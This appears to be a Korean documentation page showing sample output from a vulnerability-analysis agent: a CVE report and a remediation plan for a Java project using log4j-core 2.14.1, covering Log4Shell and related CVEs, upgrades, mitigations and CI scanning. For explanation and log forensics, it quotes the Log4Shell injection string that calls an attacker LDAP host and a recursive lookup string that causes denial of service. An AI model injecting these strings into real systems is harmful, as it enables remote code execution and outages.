취약점 산출물 Best Practice
05 도구 챕터에서 생성하는 취약점 분석 산출물 예시입니다.
샘플 프로젝트(java-vulnerable, Log4Shell CVE-2021-44228 포함)를 기준으로 작성된 실제 출력 예시를 확인할 수 있습니다.
취약점 분석 리포트
생성 agent: 05-vulnerability-analyst | 저장 경로: output/vulnerability/cve-report.md
리포트 유형: 취약점 분석 생성일: 2026-03-23 00:00 대상 프로젝트: vulnerable-java-app 1.0.0 사용 도구: OSV API (https://api.osv.dev), Syft 1.42.3
1. 요약
- SBOM 분석 대상:
java-vulnerable.cdx.json(CycloneDX 1.6) - 총 5개 취약점 발견 — 🔴 Critical 2개, 🟠 High 1개, 🟡 Medium 2개
log4j-core 2.14.1에서 즉시 조치 필요 Critical 취약점(CVE-2021-44228, CVE-2021-45046) 확인- CVE-2021-44228(Log4Shell)은 CVSS 10.0으로 원격 코드 실행(RCE) 가능한 최고 위험 취약점
- 권장 조치:
log4j-core및log4j-api를 2.17.1 이상으로 즉시 업그레이드
2. 취약점 상세
| 컴포넌트 | 버전 | CVE | CVSS | 심각도 | 설명 | 수정 버전 |
|---|---|---|---|---|---|---|
| log4j-core | 2.14.1 | CVE-2021-44228 | 10.0 | 🔴 Critical | Log4Shell: JNDI LDAP를 통한 원격 코드 실행(RCE) | 2.15.0+ |
| log4j-core | 2.14.1 | CVE-2021-45046 | 9.0 | 🔴 Critical | 2.15.0 패치 불완전 — 비기본 설정에서 JNDI RCE 우회 가능 | 2.16.0+ |
| log4j-core | 2.14.1 | CVE-2021-45105 | 7.5 | 🟠 High | Thread Context Map 자기 참조로 인한 무한 재귀(DoS) | 2.17.0+ |
| log4j-core | 2.14.1 | CVE-2021-44832 | 6.6 | 🟡 Medium | 로깅 설정 수정 권한 보유 시 RCE 가능 | 2.17.1+ |
| log4j-core | 2.14.1 | CVE-2025-68161 | 5.4 | 🟡 Medium | Socket Appender TLS 호스트명 검증 미수행 | 2.25.3+ |
log4j-api 2.14.1은 직접 취약점 없음. log4j-core와 버전을 맞춰 함께 업그레이드 권장.
3. 취약점 상세 설명
🔴 CVE-2021-44228 — Log4Shell (CVSS 10.0)
- 영향: log4j-core 2.0-beta9 ~ 2.14.1
- 공격 방식: 공격자가
${jndi:ldap://attacker.com/exploit}형태의 문자열을 로그에 주입하면, log4j가 자동으로 외부 LDAP 서버에 연결하여 악성 Java 클래스를 로드·실행 - 실제 피해: 2021년 12월 발견 직후 전 세계 수백만 서버 대상으로 대규모 악용
- 즉시 완화:
JndiLookup클래스를 classpath에서 제거Bashzip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class
🔴 CVE-2021-45046 — Log4Shell 우회 (CVSS 9.0)
- 영향: log4j-core 2.0-beta9 ~ 2.15.0
- 공격 방식: 2.15.0의 CVE-2021-44228 패치가 비기본 Pattern Layout 설정에서 우회 가능. Thread Context Map 패턴 사용 시 JNDI 공격 재현 가능
- 조치: 2.16.0으로 업그레이드 (메시지 조회 패턴 제거, JNDI 기본 비활성화)
🟠 CVE-2021-45105 — DoS 취약점 (CVSS 7.5)
- 영향: log4j-core 2.0-alpha1 ~ 2.16.0
- 공격 방식: Thread Context Map에 자기 참조 조회(
${${::-${::-$${::-j}}}}) 주입 시 무한 재귀로 프로세스 다운(DoS) - 조치: 2.17.0으로 업그레이드
🟡 CVE-2021-44832 — 설정 파일 RCE (CVSS 6.6)
- 영향: log4j-core 2.0-beta7 ~ 2.17.0
- 공격 방식: 로깅 설정 파일을 수정할 권한이 있는 공격자가 JDBC Appender를 통해 RCE 가능
- 조치: 2.17.1로 업그레이드. 로깅 설정 파일 접근 권한 제한
🟡 CVE-2025-68161 — TLS 호스트명 미검증 (CVSS 5.4)
- 영향: log4j-core 2.0-beta9 ~ 2.25.2
- 공격 방식: Socket Appender 사용 시 원격 서버의 TLS 인증서 호스트명을 검증하지 않아 중간자 공격(MITM) 가능
- 조치: 2.25.3으로 업그레이드, 또는 Socket Appender 미사용 시 영향 없음
4. 조치사항
즉시 조치 (Critical — 24시간 이내)
-
log4j-core 2.17.1 이상으로 업그레이드 — 모든 Critical/High 취약점 동시 해소
XML<!-- pom.xml -->
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-core</artifactId>
<version>2.17.1</version>
</dependency>
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-api</artifactId>
<version>2.17.1</version>
</dependency> -
즉시 완화 (업그레이드 전): JndiLookup 클래스 제거
Bashzip -q -d log4j-core-2.14.1.jar org/apache/logging/log4j/core/lookup/JndiLookup.class또는 JVM 옵션 추가:
-Dlog4j2.formatMsgNoLookups=true
단기 조치 (1주일 이내)
- 패키지 재빌드 및 테스트: 업그레이드 후 전체 회귀 테스트 실행
- 배포 환경 점검: 운영 중인 모든 서버에서 log4j 버전 확인 및 패치 적용
- 침해 흔적(IoC) 확인:
${jndi:패턴을 로그에서 검색하여 공격 시도 이력 조사
중기 조치 (1개월 이내)
- 최신 버전 업그레이드 검토: CVE-2025-68161 해소를 위해 2.25.3+ 업그레이드 계획 수립
- SBOM 자동 생성 파이프라인 구축: CI/CD에 Syft/Trivy 통합하여 취약점 조기 탐지
5. 참고 자료
| 자료 | 링크 |
|---|---|
| Apache Log4j 보안 공지 | https://logging.apache.org/log4j/2.x/security.html |
| CVE-2021-44228 NVD | https://nvd.nist.gov/vuln/detail/CVE-2021-44228 |
| CVE-2021-45046 NVD | https://nvd.nist.gov/vuln/detail/CVE-2021-45046 |
| CVE-2021-45105 NVD | https://nvd.nist.gov/vuln/detail/CVE-2021-45105 |
| CVE-2021-44832 NVD | https://nvd.nist.gov/vuln/detail/CVE-2021-44832 |
| OSV Database | https://osv.dev/list?q=log4j |
ISO/IEC 18974 §4.3.2 준거 — 알려진 취약점 식별, CVE 위험 점수 평가(CVSS), 취약점 추적 및 상태 관리
취약점 대응 계획 (Remediation Plan)
생성 agent: 05-vulnerability-analyst | 저장 경로: output/vulnerability/remediation-plan.md
리포트 유형: 취약점 대응 계획 생성일: 2026-03-23 00:00 대상 프로젝트: vulnerable-java-app 1.0.0 사용 도구: OSV API, Syft 1.42.3
개요
| 항목 | 내용 |
|---|---|
| 대응 기준 | ISO/IEC 18974 §4.3.2 |
| 총 취약점 수 | 5개 (Critical 2, High 1, Medium 2) |
| 즉시 조치 대상 | CVE-2021-44228, CVE-2021-45046 |
| 목표 완료일 | Critical: 즉시 / High: 2026-03-30 / Medium: 2026-04-23 |
단계별 대응 계획
Phase 1 — 즉시 조치 (Critical, 24시간 이내)
목표: Log4Shell(CVE-2021-44228, CVE-2021-45046) 위험 제거
1-A. 즉시 완화 조치 (업그레이드 전 긴급 적용)
# log4j-core jar에서 JndiLookup 클래스 제거
zip -q -d log4j-core-2.14.1.jar \
org/apache/logging/log4j/core/lookup/JndiLookup.class
# 또는 JVM 시작 옵션 추가
# -Dlog4j2.formatMsgNoLookups=true
# -Dlog4j2.disableJndi=true
formatMsgNoLookups=true는 CVE-2021-45046 완전 차단에 충분하지 않음. JndiLookup 제거가 더 안전함.
1-B. 의존성 업그레이드
pom.xml 수정:
<properties>
<!-- 모든 CVE를 해소하는 최소 버전 -->
<log4j.version>2.17.1</log4j.version>
</properties>
<dependencies>
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-core</artifactId>
<version>${log4j.version}</version>
</dependency>
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-api</artifactId>
<version>${log4j.version}</version>
</dependency>
</dependencies>
1-C. 빌드 및 검증
mvn clean package -DskipTests
# 업그레이드된 버전 확인
mvn dependency:list | grep log4j
# 취약점 재스캔
syft packages . -o cyclonedx-json > output/sbom/java-fixed.cdx.json
# OSV API로 재조회하여 취약점 해소 확인
1-D. 침해 이력 조사 (Forensics)
# 애플리케이션 로그에서 JNDI 공격 시도 패턴 검색
grep -r '\${jndi:' /var/log/app/ 2>/dev/null
grep -r 'ldap://' /var/log/app/ 2>/dev/null
grep -r '${${' /var/log/app/ 2>/dev/null
Phase 2 — 단기 조치 (High, 2026-03-30까지)
목표: CVE-2021-45105(DoS) 대응 완료, 운영 환경 전체 패치 확인
| 작업 | 담당자 | 기한 |
|---|---|---|
| 운영 서버 log4j 버전 전수 조사 | 인프라 담당 | 2026-03-25 |
| 전 운영 환경 2.17.1 패치 적용 | 인프라 담당 | 2026-03-27 |
| 전체 회귀 테스트 실행 | QA 담당 | 2026-03-29 |
| 패치 완료 보고서 작성 | 보안 담당 | 2026-03-30 |
Phase 3 — 중기 조치 (Medium, 2026-04-23까지)
목표: CVE-2021-44832, CVE-2025-68161 해소 및 재발 방지 체계 구축
| 작업 | 세부 내용 | 기한 |
|---|---|---|
| 2.25.3+ 업그레이드 평가 | API 호환성 확인, 테스트 환경 검증 | 2026-04-07 |
| CI/CD 취약점 스캔 통합 | Trivy 또는 OWASP Dependency-Check 파이프라인 추가 | 2026-04-14 |
| SBOM 자동 생성 연동 | 빌드 시 자동 SBOM 갱신 및 취약점 알림 | 2026-04-21 |
| 대응 완료 최종 보고 | 전 항목 해소 확인 및 문서화 | 2026-04-23 |
취약점 상태 추적
| CVE | 심각도 | 현재 상태 | 목표 상태 | 담당자 | 기한 |
|---|---|---|---|---|---|
| CVE-2021-44228 | 🔴 Critical | 미조치 | 해소 | 보안 담당 | 즉시 |
| CVE-2021-45046 | 🔴 Critical | 미조치 | 해소 | 보안 담당 | 즉시 |
| CVE-2021-45105 | 🟠 High | 미조치 | 해소 | 인프라 담당 | 2026-03-30 |
| CVE-2021-44832 | 🟡 Medium | 미조치 | 해소 | 개발 담당 | 2026-04-23 |
| CVE-2025-68161 | 🟡 Medium | 미조치 | 해소 | 개발 담당 | 2026-04-23 |
상태 갱신 방법: 패치 적용 후 "미조치" → "해소완료 (YYYY-MM-DD)" 로 업데이트
재발 방지 조치
1. 의존성 버전 정책 수립
<!-- pom.xml — 버전 하한선 강제 (Maven Enforcer Plugin) -->
<plugin>
<groupId>org.apache.maven.plugins</groupId>
<artifactId>maven-enforcer-plugin</artifactId>
<configuration>
<rules>
<bannedDependencies>
<excludes>
<exclude>org.apache.logging.log4j:log4j-core:[,2.17.1)</exclude>
</excludes>
</bannedDependencies>
</rules>
</configuration>
</plugin>
2. CI/CD 자동 취약점 스캔
# GitHub Actions 예시
- name: SBOM 생성
run: syft packages . -o cyclonedx-json > sbom.cdx.json
- name: 취약점 스캔
run: |
trivy sbom sbom.cdx.json --exit-code 1 --severity CRITICAL,HIGH
3. 정기 검토 일정
| 주기 | 작업 |
|---|---|
| 매 빌드 시 | CI/CD에서 취약점 자동 스캔 |
| 매월 | SBOM 갱신 및 신규 CVE 확인 |
| 분기 | 의존성 전체 업그레이드 검토 |
| 연간 | 취약점 관리 프로세스 전체 리뷰 |
ISO/IEC 18974 §4.3.2 준거 근거
| 요구사항 | 이행 내용 | 증거 산출물 |
|---|---|---|
| 알려진 취약점 식별 | OSV API를 통한 SBOM 기반 CVE 스캔 | cve-report.md |
| 취약점 추적 및 상태 관리 | 취약점 상태 추적 테이블 운영 | 본 문서 §취약점 상태 추적 |
| CVE 위험 점수 평가 (CVSS) | CVSS 점수 기반 심각도 분류 및 우선순위 결정 | cve-report.md §2 |
| 취약점 대응 및 패치 절차 | 단계별 대응 계획 수립, 담당자 및 기한 명시 | 본 문서 §단계별 대응 계획 |
본 문서는 ISO/IEC 18974 §4.3.2 요구사항 이행을 위해 생성된 공식 취약점 대응 계획서입니다.